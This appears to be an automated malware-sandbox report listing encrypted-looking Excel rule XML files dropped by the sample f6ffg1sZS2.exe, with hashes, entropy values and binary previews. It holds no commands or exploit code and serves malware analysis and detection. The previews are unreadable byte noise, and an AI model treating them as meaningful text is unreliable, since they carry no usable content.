Preview:	<?xml...ZM...5\|x.Mn<X.......6.N.f.E...gS.rl..::..[.....L.."...., y..LR.w.....H.............=..!.".Y7..h.l.Y..~..R...;'.4...l..h..S.%.^c}CAD.M..H.M....(.`k.f..Q.&pe'..z=.^y/n...tr.....&........8..BG.p.....].V )R.u.b...B-.W..2G.....0siG...H}.d...IN...k(.w0.V..#...&.'P..rS.9..y...S.v.`.R....C\.q...8Q.D>.Z...!..D..._..zp....8.VC..p}O.lFs_.S..n./".`._BEt......"08!8{.....=.ua(.e...o.T.".Fd~%..:3.L..6.k@_K.$.k./..W.&[^.#..N.;"/.lx.....&&..c...2\|...*z.<.d......oF.! J.'....O.7...........!....5d....P..U.\|;/..A...E..LR[.....1'.F.53x.{Ef.I..@...J..R....\\g.iHX.7.H.v.w..._...v..C9f....0&........yp...s.R....A...a.G._..0.Ap.n...K1...]..S........J.@...dx.....s...hv..eM...Up.9'\.t..R..\....V....A...X=KUk.\|W9F8.:0.....I.I...'...........[..p`D.....!De.r.F..Q...X..U..dt.\|.V70:....L.N.v...?)...;S...v..`..w..._._b..U.d3'......n._...$........V...v.w.[.`....\|......+LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324012v3.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1498
Entropy (8bit):	7.877159711993558
Encrypted:	false
SSDEEP:	24:DQ6CPxAYTo3qUUwTz9AUVT6aJFS+uOc3Y1f+gP7FDOPxyEnjjrUPLILPvkXZ4qSW:DQ622YTJwTzRzJFI3xgTFD+yE3r+LI4d
MD5:	774D984CFBAF8A1418E438DA4C581FA0
SHA1:	5376D49E0F429911A535F53A198E8EECFC9C873F
SHA-256:	E8C3C988A461203E77613A3C4ABBB3B00D88F0EA949B90222A39B5FE8523B9E7
SHA-512:	43016D051527D5B200441992D1B279C2C3307B5850C9FF16A2C8CE8EEF8996033B413EF2650E57A1E06009C8753442D7E711F9EBA220D08637E81EE1CB5172E1
Malicious:	false
Preview:	<?xmlp..!..#.(.O/tk....7zP........S...H~..B...Nn.A.....d....w.B....R..#\\.G.Kv.....Z .0.g2.8aom...M........9.Zq...K..y.4...>?H..R...c.^....;]l.=M.H^9n..H..RN__t.8.............,..&=....F.`i...v....y.j.!.T1.#\|......?..V(=.....H.V.SH.2....{..NY.wK(..J.<..^....>...j.Sz.vz'.7.q?L.......#[..@...v....x>......m.S...1.x..6..B..I.8.K^..a.2d..H)Fu.em....Nh....$.GPh.\..7^=.Z.0.\|.S...i.pea{"..A...s..>..3..F...[5.zr...v.Q.,..c..........6[..}...ZM.Y8...9}.w.....&.>..W.....Tgz..c..u.[.8Vv...tV...1........x..w......@0.m..t.mf...P.......M....K....J..e}$...#.,.t'w..0......mMOT.^,....;..........1... ...qFa.D..I..j...1.>JQ9..}EG.1....j..\|.$..&.e..7.K.t.F...X`6Y.'5h.]~4.Vnq.&....C.Z.r.<h.?;...y..:..@./.....+.S+..#)....v.xQ..g..J+.........+..pMW..f>..r.`.HD!.G!."J...z.}..<<.9H.4N....o..s.P.<...(.d......2.E.j.....b...?... m.kIK......}eP...O1....Na.n.,.=.U.D..0............/9..k.gI.~.".j.MT....h..aSJ..o....@d......5.8...!CZ.N......L...30..P2.nn.1.p'..A...qL.Td

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324013v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.868907082809889
Encrypted:	false
SSDEEP:	24:23auGvei8oj/CLn36jDdxWeDd9KG/agzbx8ac+UFWtywAthACEwUHSzW5dbD:23qT80/gKjZZ9lVzbGacbWt3AtKVb+0l
MD5:	345D365D258F8A3331BB584B708ADB33
SHA1:	04969958AA8B948556B110C00535F17CD367849A
SHA-256:	C7D48EA856A7DB7B56EA79C9D6B0566D4A1670F34346839BEE959D08CC94B630
SHA-512:	B07E89A6597BC6DDE207A64F5075CFFFB9A4AEB6040AD9605622ED5A8749DFF982C3A7C47878B49F16E25376445CE011E7BF646707DFA35BDF0275E8B4714DE5
Malicious:	false
Preview:	<?xml.m...t@].c@.rB.....v........M.3..............Gnb..."s...c.2......>...C...t.;l...N.^...</.......Ssl.......U,......./...1.."..jN.7D....,Y"......d..5.:.g../.b...5..:]t.1D..BKuh..[V._...[;^...@n4w.A....i.<.Na[...EK`..:....!G(.U.D.{.C}p.o.0..qxIH>F........$.H.zgR.l...8-...m.s0N.r.^...(&Q... 4.Ck...K..D.v.$..):...9L....0.....F..(.x...pe.u.?.6..I.....=A..8.c?....v...9.\D....m..xAe...P....s.3..iX.tg...z.Wz.y..d0.j../-L~....M...(.h.....7....>...%d.(.K?!....PJ.L.(....\.K..{...v. ..'....r#.6Z.Kg@.o..Z.E..w....t..S.....i\W...q..n..-..&.q....N.U.et.Uc...m......\...ksE..f...Q...I...$7.EI/..\|....];..Vrt.f.D.].a...1u........m.9.......&.1....@..A;..@B.rN..e..j).\....9........czZM...I.8....H....D.5....ul(.....Dr.k9pE.&..W`v.'f{..SV{-....#!.2o.(.T^M......BF){..W!..0k_h.......K11v]..\.I-_J..p..=......JP.^H^......-./at..m}....'y$]...<.w]..,...L..\....sz.xA.........1.S......4....t(8..{".q....r..'........s..\..4.p....w.!5:P...F6.C?......%V.].....y..C8.s...{

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324014v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1049
Entropy (8bit):	7.810250962837858
Encrypted:	false
SSDEEP:	24:RoH4AGAXa3JYYc6fWoMJaSRGUv9CU9rwnZzPlnyZwxopH8ybD:qNQo6vWaS79ZrUZz9Ut98gD
MD5:	39A1F3282FAF38954420C7D3799BCFD9
SHA1:	F1D766CE366A7B8F768831B00159D4D06DBA1A28
SHA-256:	6C7F6D053BC4A987B30C12606FB0B4198A8B6FF0179A74291749882294C6C0D2
SHA-512:	2FC795C3E4CD251220251286D042255CB61DADE4BC1712237DCEA373B0F005CC18474876377AB77C25BCBB5D668DD806E615C7668B635867FECB5C32D3948AB5
Malicious:	false
Preview:	<?xml....h........V.G..la@8.?Z$.._....o....,.N.yW....piRrqO]...<o..:.?=..d;Mb....J.\|..o0.J...'".r^..l............}<.l....R.4]..J... ..k..{.Cq.$e./Z..-SZ.7r./r) .........X...8..G.....&......m........H...lO.....-=.^X.4.y9.r._~B...fl?...j..E.c...........h...IR.;....4...C.(&&..o.#<.l..;......1<.Ge.d.p...h.(.'t.0..a.U.^...).u.m+.H.^!..M...p.......!H..$.."7'.c..t.8.N.W.PQ ..XH]ZXs.f..h....\4{bn,\.e.h......X..c.I]..j/t.S...R.........Q...m{...,..Z.BC..u."bn.....q.^J....(...H.Z..< ....~...... kB..../.g.=.68`.J...)..-.w....'.u.>._.8...V.L......=..C..sv...y........A.R....../c,c..P.[..f.L.....C.ou.HAU.Q<.+.aV..X]........._C..H.k.;.~?~...(5(.8..].....r.....N..q.......J....E....s.D...%....$O.C..u...... ../....a7V....c..{A8 .x]..aM.i.....?.Pms.G..%.8...k.c..S\|.i./!.w.Ia_...Vy&..;..N.${.K<..)w....@t]'.B.P\|i......E.....1..r..\#[(x9.........=s.............pO..4P......WQs.I...8.2..%~&..VL.Z....z.C.o*C2?.......S<<....L..'...!.....S.LQbDo3EfIVHxGuJOWRJdmxgY66rD6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule324015v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1184
Entropy (8bit):	7.809473350053588
Encrypted:	false
SSDEEP:	24:qyVehWSCfuIeqL4IU1u+qa044vq50AAod2yWIMUDsgVXYiMjFugbD:iRmpUM+qaRiOD9WI1DZTMhlD
MD5:	F1BC76121F5355119FD6AF4B4D0F1736
SHA1:	6B54DE9ECEC502BC1AD31ED86F3B003E021E51CF
SHA-256:	ED6FBD7975E1591762C972FA5A6D80DD4B59407BE97C6B019F12FBB052C10901
SHA-512:	885717F8CA5EECED704BFBBB05171E1E60D6220F19631449AB695E6C039E0A465A110B03ECFD52E7E9598FE009248533A52809CF9FA29B2EA50A80C43F0C1910
Malicious:	false
Preview:	<?xml....+J..oe=.-...\|....J#4q....%.Q....b..$......i.r5[...p}.6.,a.<.....c..0......$..qM..R`....Fa...I.p.++t..tr..j..u..i@Aq....o...5.Z...>.....uBL...Lf..6..?u.....bW...l<.v.&..4..R>u;t......z .M.S<."..5..BO%.8z..U.t.....0....1.P..Ye.."o...p.k...../.q.....y.......z.!W.P....#.I..IM........^$.J....y.&...Uwr.$.........X.I.V?3....H.....k..X.0..X}P..Na.xG"Z....8...DH.u....hr.......Bs.U.s+K.]..YW.hQE^.A.^...0...l.......v..B..SP.>.9..[y3.Qj6.o^.7.o..N.Z. ....r).3..>.`..Qr..g.S.,'BW....."S...B.e.<z.......c...t..6..../h;.N.l..2N..+...'9.93.f...aD.j...ZZ.._..d.$..5...b.!.c....j$....xM .."j..S.$.64&.g.A.9..H...LOH.g"............):.x....8..8...+.2..&)L.h5.=......U.F8A..57B.U.ZD..<H~.".4.).@.......4<l..[......$...B....u`.9.V.}auT......>..S>......~.>..u...DJd..,...........BN..O..H......m.t...m..[.}J6...9H..<..t.s....>9.\|.-.Q..A....:.....-.9.-...R....%..s&..P....ba.l..V...e.....t..Z......XM.X.W!(....'..V.p`Q.......#.d.....s=i.kN.X....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325000v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	9303
Entropy (8bit):	7.977103287747945
Encrypted:	false
SSDEEP:	192:rAHAFZPA5R7eUCzXWaHNGbb5N32XdQ0ubO0fZXRsgqRhrrIlWbw:rfF27eUCzm0GbbXGdnCzPsg4hrZU
MD5:	1C6F7EDFD3F99B2DDB8D324B368E4288
SHA1:	0A87CF448262747765097AF113DFEC9756235A40
SHA-256:	3BAE9CBC947B28848DCECC0498A103CB59CF212559CAD1E715F219DED62B8A88
SHA-512:	F1042B52DFC3A20A86A83DB877F20D61D9D22764FB8A93724335E8E8D2DED71CB750833FED55B0077D501876B6327C8D63AA9FDB6F8391F4D72971F514C7BB91
Malicious:	false
Preview:	<?xml5....]..cl.;V..^.t_n.~~....eK...6._...X..he..9.GM..;..0.....<...u.Z..(...J..B..oQ.SJ.....Q.T....=...hct..E..F.H.o:.F.qp...p..=..^...s.I..........-.j.BA.':...I .AL.q ..{F \|..l..r...v{...?.....Y.Kb....{...!w'T..i...8..01.Mep..p.O..a..Ld....L.Zwft.....[.Bo?........9q...;M.e~......).B...{.O<.X.$.......,.'.....W^.n8.Pb...4.j,....l.N....m(^h...'..-..J.u..\|.;.(.\|Y.Fd........$T....."cL..2@....xL[.0.N.........W.W.^RO..j..a....\|.wB.8DH..u.^.i..Dh..0c"...q..B..)v9.......1...y.m...1..%?..T=.e..n.{.W.4WLW_..Nl......!N.[..'d..apb..Q...nFK.....rL.1..z.'.(.#.....&.Bj.V:>8U..V..a-.....vZ..x..cLp..-?.k.....g.n..\|,R..w.95..H.v.E.5n.+z..8.&.j..T...h....4....lQfP@.w0\|.L.......d7..lK..ww.7Y.*7...>...T..n.;....ka]S...#.m.W....(.....z...if.._#.o_.S=b...f}...8{...K...6..s%...4.dq^^m.x ...Vb;.]...4..ch`n..&.....&z....._.&...Eg.~...e...c.<..t..Y..w.Y.b.fy..:.P.[K}.A.....v8.f.....u..\..'.6.D.....+.?.^.."2/..R..f....@..+.y8..]..U.$..P.j...w.K..6......_A&!.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325001v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2318
Entropy (8bit):	7.911685613645697
Encrypted:	false
SSDEEP:	48:6FYsiryzDPfP6KOyU7XHObbOV/nQAIz68ni4vUoLd6MRKsWzgn5RWa4iyouAhk9n:qY3ADHPyyROaAI07MRjJPW/BAuyy
MD5:	A3CF51D739631C2E76CCFCFBA05F72EA
SHA1:	C364A94F0366280ED1A85764EE86C8874755871C
SHA-256:	CC18A034059CC769BD744E0B7B5CEF332D892212CC3EA211889528E8967746FE
SHA-512:	EFA3726034487ECC7006DB913D64A51374DB9D60882E0ED06C820ED1104D60A2F3F3AAD86380390EF162E62A3CFB0BD4C56C2A1707158DBCF99D3A2830BD85B6
Malicious:	false
Preview:	<?xmlY'....l..N.......W..Z.d.s.`8...w.Dv.(..o....P0........Q@\.~..).&rv.$...0..D@.Nk...op{..2.q......!:..C.G\.B/..jT..D..fM.,k+.'.....{\|8...3..1Q...O.`...0/..0.uc..b...^..q.g.]h.,.U.+>......6.g.!..e.A...Pd.(.\|...Q.i..Z..7..?3.2zY.X..<).'+..Py.<....z.z.p.)..7..y.}...:.....n.....O....7e.m..b...D...>......V....V.B....L;..x.E.~O.{..96.a..1.+.>...wQ....-<$.6b...........F\|...7O....f.Y...\|(.?$.~...V...K.g....<LgG.V...;......<5..O..yh..f...n...m..0.(.=a..[....xfx.vh..mE.Z"..A.7].b.6.J.:.b.x(......>'.c.6..fx.X.\|\|`.......h..;.b.b.e.z.yU9Ea.=..Lt....)c.......k..D....\...U..).....`v.5=...H$...\E...........b...md.8..'`..o.::...t.....n.7.8R ..$.l.gB%..!.9...a.\|.1?....&g.QV`.nE.F._Z..m2.@..q........z..ZCY.K..e.V..........3z...-\a$....NZC.....#.0..$.`........3bqoXL...2.......Q..k)-n.Z'.WG..>.K(ke..L..}....1/f..........#{..5...[<.#J..x2jw.....'.2."c...O.j......7...Y.U.py~.....0.-94.1..w...}q....8....#..E...,.o.].....[u.!..c..-...m.C..=.?...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule325002v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2388
Entropy (8bit):	7.928202291939769
Encrypted:	false
SSDEEP:	48:JSA7kOmEv08k1wT3RMSp425MI8zOxS2bZGKDadDO679mCpD:N7kOmB8RNu20OxS2b1OdyqYCB
MD5:	0FFD406F59D6E52194270295C2FE11BA
SHA1:	785575B83BE4C81ACAD8F42AB700D47F0B6D3B71
SHA-256:	96EE6D8344CAB1D58AAC31E692FD61C218D2F062ED95276E01EB7076C7A964C0
SHA-512:	1814303F1FE1846527D0FBA51B5C50F4C1A90CC16BE2F833123072B5BEAFB0FE7A8BEF2E5E1FFE91DFD4618529DFB33E3DE7A3E29F986AFC3647F9990065CA9C
Malicious:	false
Preview:	<?xml\|.>2...,.s^9..G..f.\|......:..#}...1h....N+.l.1...P...T...n....8.../..">...\|)...[......... D._"..xiF.#.;5..DB.L....j.x...g.&...(.".....A<..EA.....i..mdK..f.^i.iU......G.!....T..`.A.T.y.....`.....'......c....S..,.eI.{._L..3..Iq\.3.9._...j...5.B&...L.o.....>....ND~j...Vm4^..v.i..L.'.t.T...k:#~.......\....N~...o..0..T..pL2..#.\...P..^h...!"J.&.M...x.p...A.....v.X\.+..1@...Sq..1Z.s...ekRs....cw.2q.M..iA...;........q..&..A.4.Z.f.Cj....^K...x...P..Yx..`.>@...".....Q..i..,c.ZW....f...._.x.....i.B.....I..8<....p.X...w[..g.Z.z.C...nJ.G.o..."....a..6. ..G.Hg..].<.g..R...7.Y.:.d...PQ....>...@.....Z9_`....."..~7..w7...&,b.......%T...K...........ZN...Yq..z4O.SW..{a.Y./VG..DI..eOyH...k.XxL\\|^)...J..D.D...f;d_.'] .3V...h......y@. D.....J.'....u.-..M.:(.9.....P....G.UF....9...#t...).)k.....%.U....)Z.....r.,../)..W.9w.V....O;9...tH.kN.._.....\.C...K..v3.r.....gVT.....D.6v.9;NZFS..s@..7......U_7.Wn....\..~.B.;.t6q.uH.V<y}..n.66..0j.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360000v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1197
Entropy (8bit):	7.8314210231341645
Encrypted:	false
SSDEEP:	24:cmiQK5jB+GJhhCgXA7C7+ktilB1GXDiWrj4cpY2a2aobD:cW2FJhhCg4BJWrj4YAbyD
MD5:	5C3C35B49CE33C547F3E9F3201A93DF9
SHA1:	B88FE5E5D7560D1550F25AD4CE3B475BD4DD2483
SHA-256:	C9DB4E061A7F2DC3F0893EC24B9F4A1BE5CB0A4BD6213CDA7E2268B762398809
SHA-512:	4D3BC5072BC583115D2960FA9813C25F2632AED2017D9B7D18635FE3CE1A8962F6B431CE2E2A862FA97F254E62205EF70EA7C489E9B2C59B51B9CA54BA6A95BB
Malicious:	false
Preview:	<?xml......c3..F.o[...:..t.7...v..p..V/.. "K...G...@....z}t.'.N...\|/d...qR'.FK.W..E..{r.Ti..O\..ee.......T....EU..I...3'..ne..E.W....;....z..#..........wM(M...[2........6..} .H..\|..=S.....B."u..R..$....Q.w..WU....U...."...P..P.w.(O....1r.@..K..N]....\7.Q9.c..>.7.......<.....d3Z\|.. .V2...x~w...9a.....hHx..y<b.b.IM.,..J.Z....<.)W.~.!.:..(..{.:....,..}.s4SKM..u.....!.&..7..D..+....w.....E....pi..S..n....G.(u...O..`J..GF&...'..U.<.5..Y,.{..<..OE.......Z.T.8Io..a.nE..n.(..f...$,.h+{P...#.....B$..3?....y.{..A...R.....8...6......'.}X...<..6.}.e)...H......kh...x.....Wa G=.a.. ..\|Z......h..T....J..q.:.5T.Y.e.>.q.SJ6.....e..MID.pB.....p....b.F~.....\.k....].+.f.-G..........N.\..&...L....5.L(.?2..#iX.rf........6.A..9.,....95...b......7..sp..."K......(tq.9T.W.....J.z.J..I.F.?.i,....U..WVT.w...C..^s{._.!C......]&.b-.....E....O2N`.,}...%`\1.eWv)..:....K..6.C..`...M....x.P}r.l...Y..!.h&.h:...aY%?..PC?.$*%'....!..d....%O.~m..+

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule360001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	771
Entropy (8bit):	7.725065722416708
Encrypted:	false
SSDEEP:	12:O19+fcGnxAhi7hWim9PmFBBFFeyRmqmvzx9q5zUvzNQWnXQM2pPYZ2L9hQ7buWSw:obvhiljemFBp7MbxqUvGWAD5lv8KWbD
MD5:	D473D9DA7A7959962997F2270551F54C
SHA1:	23DB7E2FE4795565BCC6E4372C9BE2752547EB90
SHA-256:	CE8860C5704600FFE2CC7AE64E6463EB6527C40AC0C6766F0727A2BE7505D588
SHA-512:	F89FD99D73C5BEE8CD678A82E9FC247A691341019472FA329725F7B322382D6A1B36E6283125FB338E9F91D2261A3F7DE08F33F77D1E91730B82328A0EAFEAC5
Malicious:	false
Preview:	<?xml.M.......Y[+O..\..&'-..<.F.\|..&..X.......\.WdL&C.&..'IU...t.X.kP.....preQ...<.......p.@G.)o>.Q..&.1.!..w..-4+f lIRwr=.X~Z.zx(.B....^P.%..{.V..W.\|47(.d)nh]......9qk.{T.@..:.B....}.......":..Z..^.c......I..'.R.W.\0...:.7e..gE../..An..q.xv. o.(,.)8...+m...b(..H...g.@ml...\|GVpI.y.`.Vg..CB...S.].....Wc.....e!3Yd.RN.....(. .;(...?....^.Mv.!.\|._......W4Ed3...1.2.... 3<v*..5..q.$.p...OhY..!.]l..N.....F..-O-1.3_>).K.&L!4..0...^@t._Od...:..6.2^h........ ;.{t...@...D@a...L.K.._lT..>9.x.p..a...w.f..=..r...F.u[)....C.{.....t..1y.m..yP.............z.Z.....x......P..>..C...MKN ...R.9-w._B.y)Q,...P..g.].~.,.m..O..az.%.....A.s..\|..Ci..z......uc.x..7~.J.0.C.....qKELQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370000v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.787161471749684
Encrypted:	false
SSDEEP:	24:dAQYzcZnlWWiTVAn+2EQckaolFqShKmEsoM2xf+bD:aJ4nlW+haYqShKmLWf8D
MD5:	735FD600CF73249C1C3D424A40139EE6
SHA1:	2EB21DC9BE7C831C5680BCF5D3AAA9D4F7EB0ED1
SHA-256:	BC4993629CE62C725B8A8108830759B587C88B495E89548E20D430CAC1786B3A
SHA-512:	FC9183743EBCE89ECD21E1BC7B6ADC9EC625EFBC81807BB0B0BE6AF51224627FAFFFE01D42E797A3DF162EFE3093D67FCD8407A58A9F314B0B6CDF048C694892
Malicious:	false
Preview:	<?xml.j...[.m..fL.....x...zv.......` .#_......2........\<.]....$6.lU...-.qr...ck.<.#!.o..[......e....W..O../......=....w.......v+%.&..I..;.+.+.........]xB..>..7zRa.l.Q..?/k...P.b.....)...B......v.#.S..=..I.....p.=#j...;FW..U}p... ..XGc$........(.H......'..v.&..O.L..W]....o.u.>8..=xW.....Ul...7k....y..z...I8B.<I....e..T.4."....j..i..e......zr.4....).u.w..;..^...[.=......o^w....=...j&~.Su.-.....->.Db2..".LWt..h.=.0..T.I;K....kA...m.=3y...#..M^f^h..>.;;..........g.O(..&M.L.5+..Z~2......^JK...=hq......B....j....A.D.N.CB......;..ar./.c...g.HN....Q...M$dcn.&....J..Tg=.7-.y.+.M.......q0...8.\.....[..>...\4l..\|.l....t..1....R.e.KHV8!>w.1.Q^15.lfM....@1._3x..u....L...3).....c..@.N...#....{.juSRd....%.WJ.....E....)+...}$..\|...8.VFW.....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370001v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2604
Entropy (8bit):	7.932017912833288
Encrypted:	false
SSDEEP:	48:eQdE7KujcLjss3ifqwhzNUGtikZuX4aClwEOoLxWD:e8+cdifhz+hAgoE
MD5:	A0A6D7FB279D58F9565B800A87F5ED4D
SHA1:	172695DD4E240C34CFA68294CC7AECDEE289CED3
SHA-256:	A5DADF14E02627F330C2387763FEF3A5F16EBDC45BA4B83FE96E75F3ACB7E789
SHA-512:	2672A90B55D7C852AEEF5041AEAB3944A8065C381A5DFDEEC2A8A3D2E9C0C7645DF1022EB8C7D8779FDB6C21C83790FB9209ADFC8753168544B00DC9273AFCF2
Malicious:	false
Preview:	<?xml.)6...Uu6.`....l..0./.SNg...K.....Y..G..-....W..n....T.q.@.....b..g:v..%0...KnoC.....2..\8.lw..;l.%4a.3v..B.t..7'.S..1.x..../.a..........l5.....2...V_Z...N .u..l..;_\.p9O..z@..Q..e..'..e.3.E...I..`s.$:.........K.l>..p.........MP{..{.....Jy..Up...jc..SBK...8......G.....)<...;..).9 ..+jx<......T.U..j1....\|....>p."..(.\...g-.e!...k.G....N.3....B...pWH.\M...qN.g.}..b.W....H..'...}..*.d.w....K#.s(.2Q...l..=.rM5#.<..Kfn!6.''..e.]U+G.^...%.G...^..0....n1.Y"u.X..^5ZP7av}...(T.......(.x..i.30_......N....]b.1..[......C..r.].K..u.....o.q<.......<D........./.d..[L...=..~.jk.....'.v....B3$)..A..".z.@E..u=....Z3..N....Xb./r2..W.{I\...f...zK.$.O.....T...4,....Z.[y.&6.k/)9!q......=.S.(m....o!.B..jW...V/.(..u..{..9Clh5..)}.T..>B.W%.9.m....G...D.q.j.,.%..l..I];.b....W.s.$..>..<;.....)......X..G.\K..W..6..q.C.@S.........X..J.Gp.Zd.q....A....{..Wl...u._...(..o...}..<.F8@....wG....p.VD..5.J.&m^..1...x.g..iC......5u>_...T.6%..M.-..x.].f..M.[....#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370002v2.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6109
Entropy (8bit):	7.970542890515813
Encrypted:	false
SSDEEP:	96:RQ96oBg5uYbii9ps0pa/r9lddem5AS+MTc+RjidFNoCfdLQ2tdr96vx:RQ96WK9ta/rTdI8ASZTnRmdwOdLjt5EJ
MD5:	2DF9E7421BD6E4D843739694E289F6E9
SHA1:	9DE6660093DC30F668401E53981043C1ECAE1F65
SHA-256:	E1217119FEBBE97B75218714F171A651953F8813B841E58DA12F9A589A49D40B
SHA-512:	AC0DE7CB89E041D5C653C172C35F3142768E33A8A7D2D197F2CC6E3FBDF25B4105AD996DC54F4FC8F6BA34848872E092EFE85AD0AE7FD546C623F3F301D34EA8
Malicious:	false
Preview:	<?xml........y.X..~.....2.{..X..J.............lxD.Z......u...w.....Jx...s...^.cC...+...^.}N.....<....>.&.9..a5.R.2...b<}..C....c.d....P.}.#....42G..L9....L4C8w....).]...~...t1..LxM.A.J".%..7Ce%YS..>.2...4...x...".Dg^C_....Yw.q9.,P...._...E...~.sH.E..Bi.sR.E.C8...>I..qA.B..9.;#.Y.-.7D.-S]Fh.-.fKg.?4.z.C6r.....y.Lp...y.....7.....E.A^..C.....P\|.3$3..y....S.B6.mp"..H.#p..P>..d.4.c..y...d.+.......<....w....k3.J....7 l.!.'.>_p....~.o..6.......5..OO.A..@....^........i7$O.2y..9z..k'@.>.X.......u.N2..i.e../....O..>o..i..%....J~.E......J...+........?...<..E..e..K.S.2..r.......Sb.y.LB.&4...Va.j.....;...\|l...u.)&V.......y.uOh?.A../.,..{[.~.1.)..j0Om/..GK.......D.....3on..v...%H...T..j.XV..x...)..S.p.X.+..w..!g..0.?..P^.}._M...7ud.Bg........?.....pxTi...INW..25.._.Q2;.S.Z.Z.s.xRd'.hp.H...+.W...\|.l.`....I.e..n-x.;.P...I.....\|...'w.\Oa.C.[...5.=.....X. .k....x..N`...z......l!....q.1.!.< F.....e....z..c.Z...;...4."..^&.b....q.2.G.F.Jo.n0.t...\g.;)...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370005v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1454
Entropy (8bit):	7.877555250737837
Encrypted:	false
SSDEEP:	24:LfBq1gHNC1l7Ix7ooafoD4w6/0A8IzX1Zmgg5ZodMTGMSMmpfRJZFb8qtFcqMpVP:TZNCPExkFoD4Z/0kzzF+HzmvJP8qtFc7
MD5:	6015A2AA4AC27E8957656B9934D76F91
SHA1:	7790B8CA52FCB1C08A442F6DADE639D59957D971
SHA-256:	6692528618B79512A06E2A40C0A1056E75CC5A1DF4DEAE07A07B34166347CDBE
SHA-512:	02059F092FBB0CC5C43BDE239451D31111ABEAE80E0F06FCA8928C9824657937CEA2B490BAB17E71A736BD28425C6D7AADF976935FAEEEBA6792EF3D44B2BE2E
Malicious:	false
Preview:	<?xml0....cJJ...w.....Y.+b."..~:+..`../......I+...........<.4..Qj.D..C..EY.o_O.]R_.....l\|..(....x@..r...$....FJNIA.S..#..o?_e U...bA.<R.:.e........Yw..].x.......a.4..w.t.F........q...>...Gs../>....../bQ.m......n..{...)......\...si.:...w3../..gq.).j...JE.B.<Qo.9..zr%J...y.{YhL.$C.T\.w..M:5..5...[.s.T.$...@.[4..p.r..... x]..p......i....;..G.j.H..js...n71.E..e.X{.I."..+.c.k^.T.O....z.!..UX..(.fT.X...y.f.w.....6.. ,.a.9.}...F..W.'.>U..&<.....=....Q/..A..k.n....Z..W...n....I.a..\ZF...[.3"..,..9.......?C...~}'r[......7..3(..)....Re@aJ.........<......Y...E2.h#...R.u.:...:.-...o..L.XN(.h.3..rd.\|...S...&+2v.....}r!.$50.....;73.Z.@......%.FN].~.M...:.T.84].I.......c.AT..$......<cjp.cy.I ..x...X.o...*..%.a@.U^w..........a.u.:.Hk'.0-....8..~.F,l....u.m3!....cB.\|+......<A..&.9O.....x.,>.a......w..p.w.jR:(.9dP......X..s...9.p.^I..<.\|3..k...+"{D.fv..Ai..\|.......N\.G.../......).VG..f....s. ...!]#.9.....u.:.Fl..E:l.y.7.T.s.s]...mE"..[.V...m'b.3p

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule370006v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1120
Entropy (8bit):	7.814907699726984
Encrypted:	false
SSDEEP:	24:vmtDMdvjTfB8l02W827sNdLvwE8KkjhyVdbD:vmGFj7WSlMnvw7rmdD
MD5:	2B28A16E8D5A8E7477024BF404B4D27C
SHA1:	B32B1551527235899CAD4DFBA0306644388E521B
SHA-256:	ECCA0F9DE37859BFDB42A7D447AF73244A632122FE04FA6000FF1F1AC9D0DFFE
SHA-512:	28DAE4F18D64B6046FC4B1D2BD67FD31F6AE39550053730C11EB7DDE954EE1E035973AF0245805B26D16C6600CD924A0AE5099C16621862BDE5057CA57AC7595
Malicious:	false
